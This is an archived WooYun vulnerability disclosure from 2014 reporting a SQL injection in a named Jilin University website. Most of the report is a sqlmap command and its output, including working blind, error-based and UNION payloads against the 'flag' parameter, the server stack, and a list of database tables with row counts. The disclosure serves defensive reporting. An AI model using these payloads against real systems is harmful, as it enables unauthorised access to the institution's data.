当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052727

漏洞标题:吉林大学某站点sql注入(二)

相关厂商:jlu.edu.cn

漏洞作者: m_vptr

提交时间:2014-03-04 16:11

修复时间:2014-03-14 16:11

公开时间:2014-03-14 16:11

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-04: 细节已通知厂商并且等待厂商处理中
2014-03-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

SQL注入

详细说明:

URL:http://kjcg.jlu.edu.cn/pages/introduction/read.aspx?flag=8,参数flag没有过滤

漏洞证明:

扫描报告

python sqlmap/sqlmap.py -u "http://kjcg.jlu.edu.cn/pages/introduction/read.aspx?flag=8"
sqlmap/1.0-dev-ab36e5a - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:12:51
[11:12:51] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:12:53] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: flag
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: flag=8' AND 9045=9045 AND 'BPOl'='BPOl
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: flag=8' AND 1365=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(105)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (1365=1365) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(117)+CHAR(97)+CHAR(114)+CHAR(113))) AND 'qNHB'='qNHB
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: flag=-7060' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(105)+CHAR(120)+CHAR(113)+CHAR(118)+CHAR(81)+CHAR(86)+CHAR(122)+CHAR(77)+CHAR(67)+CHAR(109)+CHAR(89)+CHAR(88)+CHAR(101)+CHAR(113)+CHAR(117)+CHAR(97)+CHAR(114)+CHAR(113),NULL,NULL,NULL--
---
[11:12:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[11:12:53] [INFO] fetched data logged to text files under 'XXX'
[*] shutting down at 11:12:53

列表

Database: projectex
+----------------------+---------+
| Table | Entries |
+----------------------+---------+
| dbo.Table1$ | 16691 |
| dbo.patentDeleted | 6455 |
| dbo.e20090107 | 6175 |
| dbo.paper | 4077 |
| dbo.qyxq | 3618 |
| dbo.patent1 | 2804 |
| dbo.patent1 | 2804 |
| dbo.users_old | 2691 |
| dbo.users_old | 2691 |
| dbo.city1 | 2542 |
| dbo.city1 | 2542 |
| dbo.subject_code | 1425 |
| dbo.sysconstraints | 122 |
略。。。

修复方案:

过滤

版权声明:转载请注明来源 m_vptr@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-03-14 16:11

厂商回复:

最新状态:

2014-03-14:正在处理

2014-03-14:正在处理